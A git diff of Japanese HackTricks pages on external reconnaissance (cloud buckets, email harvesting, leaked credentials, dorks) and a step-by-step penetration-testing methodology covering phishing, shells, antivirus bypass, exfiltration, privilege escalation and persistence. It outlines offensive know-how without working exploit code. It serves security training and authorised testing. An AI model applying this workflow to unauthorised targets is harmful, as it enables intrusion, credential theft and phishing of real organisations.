* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
それから、それらの単語を使用して**順列**を生成する必要があります(詳細は[**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round)を参照)。
|
||||
その単語を使用して、**パーミュテーション**を生成する必要があります(詳細は[**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round)を参照)。
|
||||
|
||||
生成されたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、[**cloudlist**](https://github.com/projectdiscovery/cloudlist)、または[**S3Scanner**](https://github.com/sa7mon/S3Scanner)**などのツールを使用**できます。
|
||||
生成されたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)、[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)、[**cloudlist**](https://github.com/projectdiscovery/cloudlist)、または[**S3Scanner**](https://github.com/sa7mon/S3Scanner)などのツールを使用できます。
|
||||
|
||||
クラウド資産を探す際には、**AWSのバケツだけでなく**他のものも探す必要があります。
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
**オープンバケツや露出されたクラウド機能**などが見つかった場合は、**アクセス**して、提供されている内容を確認し、悪用できるかどうかを試してみてください。
|
||||
**オープンバケツや露出されたクラウド機能**などが見つかった場合は、それらに**アクセス**して、提供される内容を確認し、悪用できるかどうかを試してみてください。
|
||||
|
||||
## メール
|
||||
|
||||
スコープ内の**ドメイン**と**サブドメイン**があれば、企業のメールアドレスを検索を開始するために必要なものがすべて揃っています。
|
||||
|
||||
私にとって最も効果的だった企業のメールアドレスを見つけるための**API**と**ツール**は以下の通りです:
|
||||
以下は、私が企業のメールアドレスを見つけるために最も効果的だと考える**API**と**ツール**です:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - APIsを使用
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs
|
||||
* [**https://hunter.io/**](https://hunter.io/)(無料版)のAPI
|
||||
* [**https://app.snov.io/**](https://app.snov.io/)(無料版)のAPI
|
||||
* [**https://minelead.io/**](https://minelead.io/)(無料版)のAPI
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
メールアドレスは後で**Webログインや認証サービス(SSHなど)をブルートフォース攻撃**する際に便利です。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールアドレスの背後にいる**個人に関する情報**を提供してくれるため、フィッシングキャンペーンに役立ちます。
|
||||
後でメールは、WebログインやSSHなどの認証サービスを**ブルートフォース攻撃**するのに役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールアドレスの背後にいる**個人に関する情報**をさらに提供してくれるため、フィッシングキャンペーンに役立ちます。
|
||||
|
||||
## 資格情報の漏洩
|
||||
|
||||
**ドメイン**、**サブドメイン**、および**メールアドレス**を使用して、過去に漏洩した資格情報を検索を開始できます:
|
||||
**ドメイン**、**サブドメイン**、および**メールアドレス**を使用して、過去に漏洩した資格情報を探すことができます:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
@ -566,20 +566,20 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
**有効な漏洩した**資格情報を見つけた場合、これは非常に簡単な勝利です。
|
||||
|
||||
## 重要情報の漏洩
|
||||
## シークレットの漏洩
|
||||
|
||||
資格情報の漏洩は、企業のハッキングに関連し、**機密情報が漏洩され、販売された**ものです。ただし、企業はそのデータベースにない情報が含まれる**他の漏洩**にも影響を受ける可能性があります:
|
||||
資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業はそのデータベースにない情報が含まれる**他の漏洩**にも影響を受ける可能性があります。
|
||||
|
||||
### Githubの漏洩
|
||||
|
||||
資格情報やAPIが、**企業**またはそのgithub企業の**開発者**の**パブリックリポジトリ**に漏洩している可能性があります。\
|
||||
[**Leakos**](https://github.com/carlospolop/Leakos)を使用して、**組織**とその**開発者**の**パブリックリポジトリ**全体を**ダウンロード**し、[**gitleaks**](https://github.com/zricethezav/gitleaks)を自動的に実行できます。
|
||||
ツール[**Leakos**](https://github.com/carlospolop/Leakos)を使用して、**組織**とその**開発者**のすべての**パブリックリポジトリ**を**ダウンロード**し、自動的に[gitleaks](https://github.com/zricethezav/gitleaks)を実行できます。
|
||||
|
||||
**Leakos**は、**提供されたURL**の**テキスト**全体に**gitleaks**を実行するためにも使用できます。なぜなら、**ウェブページにも機密情報が含まれる**ことがあるからです。
|
||||
**Leakos**は、**URLが渡されたテキスト**に対して**gitleaks**を実行するためにも使用できます。なぜなら、**ウェブページにもシークレットが含まれる**ことがあるからです。
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
攻撃対象の組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください:
|
||||
攻撃対象の組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -587,14 +587,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### ペーストの漏洩
|
||||
|
||||
攻撃者や作業者が**企業のコンテンツをペーストサイトに公開**することがあります。これには**機密情報**が含まれる可能性がありますが、含まれない場合もあります。\
|
||||
[**Pastos**](https://github.com/carlospolop/Pastos)を使用して、80以上のペーストサイトで検索できます。
|
||||
攻撃者や作業者が**企業のコンテンツをペーストサイトに公開**することがあります。これには**機密情報**が含まれる場合も含まれない場合もありますが、検索する価値があります。\
|
||||
ツール[**Pastos**](https://github.com/carlospolop/Pastos)を使用して、80以上のペーストサイトで検索できます。
|
||||
|
||||
### Google Dorks
|
||||
|
||||
古くからあるGoogle Dorksは、**そこにあってはならない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできないことです。したがって、お気に入りの10個を選択するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用**してすべてを実行できます。
|
||||
古くからあるが有用なGoogle Dorksは、**そこにあってはならない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできないことです。したがって、お気に入りの10個を選ぶか、[**Gorks**](https://github.com/carlospolop/Gorks)のようなツールを使用してすべてを実行できます。
|
||||
|
||||
_通常のGoogleブラウザを使用してデータベース全体を実行することを期待するツールは、Googleが非常にすぐにブロックするため、決して終了しません。_
|
||||
_通常のGoogleブラウザを使用してデータベース全体を実行しようとするツールは、Googleが非常にすぐにブロックするため、決して終了しません。_
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
|
@ -602,36 +602,36 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す
|
|||
|
||||
## パブリックコードの脆弱性
|
||||
|
||||
企業が**オープンソースコード**を持っている場合、そのコードを**分析**して**脆弱性**を検索できます。
|
||||
企業が**オープンソースコード**を持っていることがわかった場合、そのコードを**分析**して**脆弱性**を検索できます。
|
||||
|
||||
**言語によって異なるツール**を使用できます:
|
||||
**言語によって異なるツール**があります:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
また、以下のような無料のサービスを使用して**パブリックリポジトリをスキャン**することもできます:
|
||||
また、以下のような無料のサービスを使用して**パブリックリポジトリをスキャン**することもできます:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
## [**Webペンテスト手法**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**バグハンター**によって見つかる**脆弱性の大部分**は**Webアプリケーション**内に存在するため、この段階で**Webアプリケーションのテスト手法**について話したいと思います。[**こちらでこの情報を見つけることができます**](../../network-services-pentesting/pentesting-web/)。
|
||||
**バグハンター**によって見つかる**脆弱性の大部分**は**Webアプリケーション**内に存在するため、この時点で**Webアプリケーションのテスト手法**について話したいと思います。[**こちらでこの情報を見つけることができます**](../../network-services-pentesting/pentesting-web/)。
|
||||
|
||||
また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)セクションに特別な言及をしたいと思います。なぜなら、非常に機密性の高い脆弱性を見つけることは期待できないかもしれませんが、**ワークフローに実装して初期のWeb情報を得るのに役立ちます**。
|
||||
また、[**Web自動スキャナーのオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションに特別な言及をしたいと思います。なぜなら、非常に機密性の高い脆弱性を見つけることは期待できないかもしれませんが、**ワークフローに実装して初期のWeb情報を得るのに役立ちます**。
|
||||
|
||||
## 要約
|
||||
|
||||
> おめでとうございます!この時点で、すでに**すべての基本的な列挙**を行っています。はい、基本的な列挙ですが、さらに多くの列挙ができます(後でさらなるトリックを見るでしょう)。
|
||||
> おめでとうございます!この時点で、すでに**すべての基本的な列挙**を行っています。はい、基本的なものですが、さらに多くの列挙ができます(後でさらなるトリックを見ていきます)。
|
||||
|
||||
したがって、すでに次のことを行っています:
|
||||
|
||||
1. スコープ内の**すべての企業**を見つけました
|
||||
2. 企業に属する**すべての**アセットを見つけました(スコープ内であればいくつかの脆弱性スキャンを実行)
|
||||
2. 企業に属する**すべての資産**を見つけました(スコープ内であればいくつかの脆弱性スキャンを実行)
|
||||
3. 企業に属する**すべてのドメイン**を見つけました
|
||||
4. ドメインの**すべてのサブドメイン**を見つけました(サブドメインの乗っ取りはありましたか?)
|
||||
5. スコープ内の**CDNからでないIP**をすべて見つけました
|
||||
6. **すべてのWebサーバー**を見つけ、それらの**スクリーンショット**を撮りました(より詳しく調査する価値のある奇妙なものはありましたか?)
|
||||
7. 企業に属する**潜在的なパブリッククラウドアセット**をすべて見つけました
|
||||
5. スコープ内の**CDNからでないIP**を含むすべての**IP**を見つけました
|
||||
6. すべての**Webサーバー**を見つけ、それらの**スクリーンショット**を撮りました(深く調査する価値のある奇妙なものはありましたか?)
|
||||
7. 企業に属する**潜在的なパブリッククラウド資産**をすべて見つけました
|
||||
8. **簡単に大きな勝利をもたらす可能性のある** **メール**、**資格情報の漏洩**、および**秘密の漏洩**を見つけました
|
||||
9. 見つけたすべてのWebを**ペンテスト**しました
|
||||
|
||||
|
@ -648,7 +648,7 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す
|
|||
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)など
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -656,14 +656,14 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Pentesting Methodology
|
||||
# ペンテスト手法
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、**ゼロからヒーローまでのAWSハッキングを学びましょう**!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **ハッキングトリックを共有するために、HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出する
|
||||
- **HackTricksで企業を宣伝**したいか、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する。
|
||||
- **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方、**解読不能なものをハックしたい方** - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -32,7 +32,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
### 1 - [ネットワーク内のホストの発見](pentesting-network/#discovering-hosts)/ [企業の資産の発見](external-recon-methodology/)
|
||||
|
||||
**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホスト**(内部テスト)や**インターネット上の会社の資産**を見つけることに興味があるかもしれません。
|
||||
**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホスト**(内部テスト)を見つけるか、**会社の資産をインターネット上で見つける**(外部テスト)かに興味があるかもしれません。
|
||||
|
||||
{% hint style="info" %}
|
||||
外部テストを実行している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。
|
||||
|
@ -41,96 +41,95 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
|
||||
|
||||
**このセクションは、内部テストを実行している場合にのみ適用されます。**\
|
||||
ホストを攻撃する前に、ネットワークから**一部の資格情報を盗む**か、ネットワーク内で見つけられるものを**受動的/能動的(MitM)に学ぶためにデータをスニッフィング**することができます。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読んでみてください。
|
||||
ホストを攻撃する前に、ネットワークから**一部の資格情報を盗む**か、ネットワーク内で見つけられるものを**受動的/能動的(MitM)に学ぶためにデータをスニッフィング**することができます。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読むことができます。
|
||||
|
||||
### 3- [ポートスキャン - サービスの発見](pentesting-network/#scanning-hosts)
|
||||
|
||||
**ホストの脆弱性を探している場合、最初に行うべきことは、どのポートでどのサービスが実行されているかを知ることです。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
|
||||
**ホストの脆弱性を探している場合に最初に行うべきことは、どのポートでどのサービスが実行されているかを知ることです。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
|
||||
|
||||
### **4-** [サービスバージョンの脆弱性を検索](search-exploits.md)
|
||||
|
||||
実行されているサービスとそのバージョンを知ったら、\*\*既知の脆弱性を検索する必要があります。\*\*運が良ければ、シェルを提供する脆弱性が見つかるかもしれません...
|
||||
実行されているサービスとそのバージョンを知っている場合、既知の脆弱性を検索する必要があります。運が良ければ、シェルを提供する脆弱性が見つかるかもしれません...
|
||||
|
||||
### **5-** サービスのペンテスト
|
||||
|
||||
実行中のサービスに特別な脆弱性がない場合、**実行中の各サービスで一般的なミス構成を探す必要があります。**
|
||||
実行中のサービスに特別な脆弱性がない場合、実行中の各サービスで**一般的なミス構成**を探す必要があります。
|
||||
|
||||
**この本の中で、最も一般的なサービスをペンテストするガイドが見つかります**(および一般的でないものも)。左のインデックスで**PENTESTING**セクションを検索してください(サービスはデフォルトポートで並べられています)。
|
||||
**この本の中で、最も一般的なサービスをペンテストするためのガイドが見つかります**(および一般的でないものも)。左のインデックスで**PENTESTING**セクションを検索してください(サービスはデフォルトポートで並べられています)。
|
||||
|
||||
[**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に特に言及したいと思います(最も広範な部分です)。**\
|
||||
また、[**ソフトウェアの既知の脆弱性を見つける方法についての小さなガイド**](search-exploits.md)もここにあります。
|
||||
[**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に特筆したいと思います(最も広範な部分です)。**\
|
||||
また、ここで[**ソフトウェアの既知の脆弱性を見つける方法についての小さなガイド**](search-exploits.md)が見つかります。
|
||||
|
||||
**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを見つけ、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**独自のブラインドペンテスト**を実行して、**サービスに接続し、ファジングを開始し、応答を読む**ことから始めることができます。
|
||||
**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを見つけ、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**自分自身でブラインドペンテスト**を実行してみてください。サービスに接続し、それをファジングして応答を読むことから始めることができます(あれば)。
|
||||
|
||||
#### 5.1 自動ツール
|
||||
|
||||
**自動脆弱性評価を実行できるツールもいくつかあります。**[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、この本で見つけることができるサービスのペンテストに関するノートに基づいて作成されたツールです。**
|
||||
**自動脆弱性評価**を実行できるいくつかのツールもあります。**私は** [**Legion**](https://github.com/carlospolop/legion)**をお勧めします。これは、この本で見つけることができるサービスのペンテストに関するノートに基づいて作成されたツールです。**
|
||||
|
||||
#### **5.2 サービスのブルートフォース**
|
||||
|
||||
一部のシナリオでは、**ブルートフォース**が**サービスを侵害するのに役立つ場合があります。**[**ここで、さまざまなサービスのブルートフォースのチートシート**](brute-force.md)**を見つけてください。**
|
||||
一部のシナリオでは、**Brute-Force**が**サービスを侵害**するのに役立つ場合があります。[**ここで異なるサービスのブルートフォースのチートシート**](brute-force.md)**を見つけてください。**
|
||||
|
||||
### 6- [フィッシング](phishing-methodology/)
|
||||
|
||||
この時点で興味深い脆弱性が見つからない場合、\*\*ネットワーク内に入るためにいくつかのフィッシングを試す必要があるかもしれません。\*\*フィッシング手法については、[こちら](phishing-methodology/)を読んでください。
|
||||
この時点で興味深い脆弱性が見つからない場合、ネットワーク内に入るために**いくつかのフィッシングを試す必要があるかもしれません。**フィッシング手法については[こちら](phishing-methodology/)を読んでください。
|
||||
|
||||
### **7-** [**シェルの取得**](shells/)
|
||||
|
||||
何らかの方法で**被害者でコードを実行する方法**を見つけるはずです。その後、シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます。
|
||||
何らかの方法で被害者でコードを実行できるようになっているはずです。その後、[逆シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます](shells/)。
|
||||
|
||||
特にWindowsでは、**アンチウイルスを回避するためのヘルプが必要**です:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。**
|
||||
特にWindowsでは、**アンチウイルスを回避するためのヘルプ**が必要になる場合があります:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。**
|
||||
|
||||
### 8- 内部
|
||||
|
||||
シェルで問題が発生した場合、ペンテスターにとって非常に便利な**最も有用なコマンドの小さなコンパイル**がここにあります:
|
||||
シェルで問題が発生した場合、ペンテスターにとって非常に有用な**コマンドの小さなコンパイル**がここにあります:
|
||||
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||
* [**Windows(CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Windows(PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
- [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||
- [**Windows(CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
- [**Windows(PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**エクスフィルトレーション**](exfiltration.md)
|
||||
|
||||
おそらく、**被害者からデータを抽出**する必要があるか、特権昇格スクリプトなどを**導入**する必要があるでしょう。これらの目的に使用できる**一般的なツールについてのポスト**が[こちら](exfiltration.md)**にあります。**
|
||||
|
||||
被害者から**データを抽出**したり、特権昇格スクリプトなどを**導入**する必要があるかもしれません。これらの目的で使用できる**一般的なツールについてのポスト**が[こちらにあります](exfiltration.md)**。**
|
||||
### **10- 特権昇格**
|
||||
|
||||
#### **10.1- ローカル特権昇格**
|
||||
|
||||
ボックス内で**root/Administratorではない**場合、**特権昇格の方法を見つける必要があります。**\
|
||||
ボックス内で**root/Administratorではない**場合、**特権昇格の方法**を見つける必要があります。\
|
||||
ここでは、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権昇格する方法についてのガイドが見つかります。**\
|
||||
また、以下のWindowsの動作に関するページもチェックする必要があります:
|
||||
また、以下のWindowsの動作に関するページもチェックしてください:
|
||||
|
||||
* [**認証、資格情報、トークン特権、およびUAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* [**NTLMの動作**](../windows-hardening/ntlm/)
|
||||
* Windowsでの[**資格情報の盗み出し**](https://github.com/carlospolop/hacktricks/blob/jp/generic-methodologies-and-resources/broken-reference/README.md)
|
||||
* [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* [**NTLMの動作**](../windows-hardening/ntlm/)はどのように行われるか
|
||||
* Windowsでの[**資格情報の盗み出し**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
|
||||
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するトリック
|
||||
|
||||
**WindowsとLinuxのローカル特権昇格パスを列挙するための最適なツールを確認するのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**WindowsとLinuxのローカル特権昇格パスを列挙するための最高のツールをチェックするのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- ドメイン特権昇格**
|
||||
|
||||
ここでは、[**Active Directoryを列挙し、特権昇格し、持続するための最も一般的なアクションを説明する方法論**](../windows-hardening/active-directory-methodology/)を見つけることができます。これはセクションの一部に過ぎませんが、これはPentesting/Red Teamの割り当てにおいて**非常に繊細**なプロセスとなる可能性があります。
|
||||
ここでは、[**Active Directoryで列挙、特権昇格、持続化するための最も一般的なアクションを説明する方法論**](../windows-hardening/active-directory-methodology/)を見つけることができます。これはセクションの一部に過ぎませんが、これはPentesting/Red Teamの割り当てにおいて**非常に繊細**なプロセスになる可能性があります。
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - ルーティング
|
||||
|
||||
ホスト内でさらに**パスワード**を見つけることができるか、または**ユーザーの権限で他のマシンにアクセス**できるかを確認してください。\
|
||||
ここでは、[**Windowsでのパスワードのダンプ方法**](https://github.com/carlospolop/hacktricks/blob/jp/generic-methodologies-and-resources/broken-reference/README.md)が異なる方法で見つかります。
|
||||
ここでは、[**Windowsでのパスワードのダンプ方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)が異なる方法で見つかります。
|
||||
|
||||
#### 11.2 - 持続性
|
||||
|
||||
**システムを再度攻撃する必要がないように、2つまたは3つの異なるタイプの持続性メカニズムを使用してください。**\
|
||||
**ここでは、**[**Active Directoryでの持続性トリック**](../windows-hardening/active-directory-methodology/#persistence)**が見つかります。**
|
||||
ここでは、[**Active Directoryでの持続性トリック**](../windows-hardening/active-directory-methodology/#persistence)が見つかります。
|
||||
|
||||
TODO: WindowsとLinuxでの持続性ポストを完了する
|
||||
|
||||
### 12 - ピボット
|
||||
|
||||
**収集した資格情報**を使用して、他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内で**新しいホストを発見してスキャンする必要があるかもしれません**(Pentesting Methodologyを再開)。\
|
||||
**収集した資格情報**を使用して他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内で新しいホストを**発見してスキャンする必要があるかもしれません**(Pentesting Methodologyを再開)。\
|
||||
この場合、トンネリングが必要になるかもしれません。[**トンネリングについての記事**](tunneling-and-port-forwarding.md)がここにあります。\
|
||||
また、[**Active Directoryのペンテスト方法論**](../windows-hardening/active-directory-methodology/)についての記事もチェックする必要があります。そこでは、横断移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\
|
||||
Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**](../windows-hardening/ntlm/)のページもチェックしてください。
|
||||
また、[Active Directoryのペンテスト方法論](../windows-hardening/active-directory-methodology/)についての記事もチェックする必要があります。そこでは、横方向に移動したり、特権を昇格させたり、資格情報をダンプするためのクールなトリックが見つかります。\
|
||||
Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**](../windows-hardening/ntlm/)に関するページもチェックしてください。
|
||||
|
||||
### その他
|
||||
|
||||
|
@ -138,9 +137,9 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**]
|
|||
|
||||
#### **Exploiting**
|
||||
|
||||
* [**基本的なLinux Exploiting**](../reversing-and-exploiting/linux-exploiting-basic-esp/)
|
||||
* [**基本的なWindows Exploiting**](../reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**基本的なExploitingツール**](../reversing-and-exploiting/tools/)
|
||||
* [**基本的なLinux Exploiting**](../binary-exploitation/linux-exploiting-basic-esp.md)
|
||||
* [**基本的なWindows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**基本的なExploitingツール**](../binary-exploitation/basic-binary-exploitation-methodology/tools/)
|
||||
|
||||
#### [**基本的なPython**](python/)
|
||||
|
||||
|
@ -148,24 +147,24 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**]
|
|||
|
||||
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
|
||||
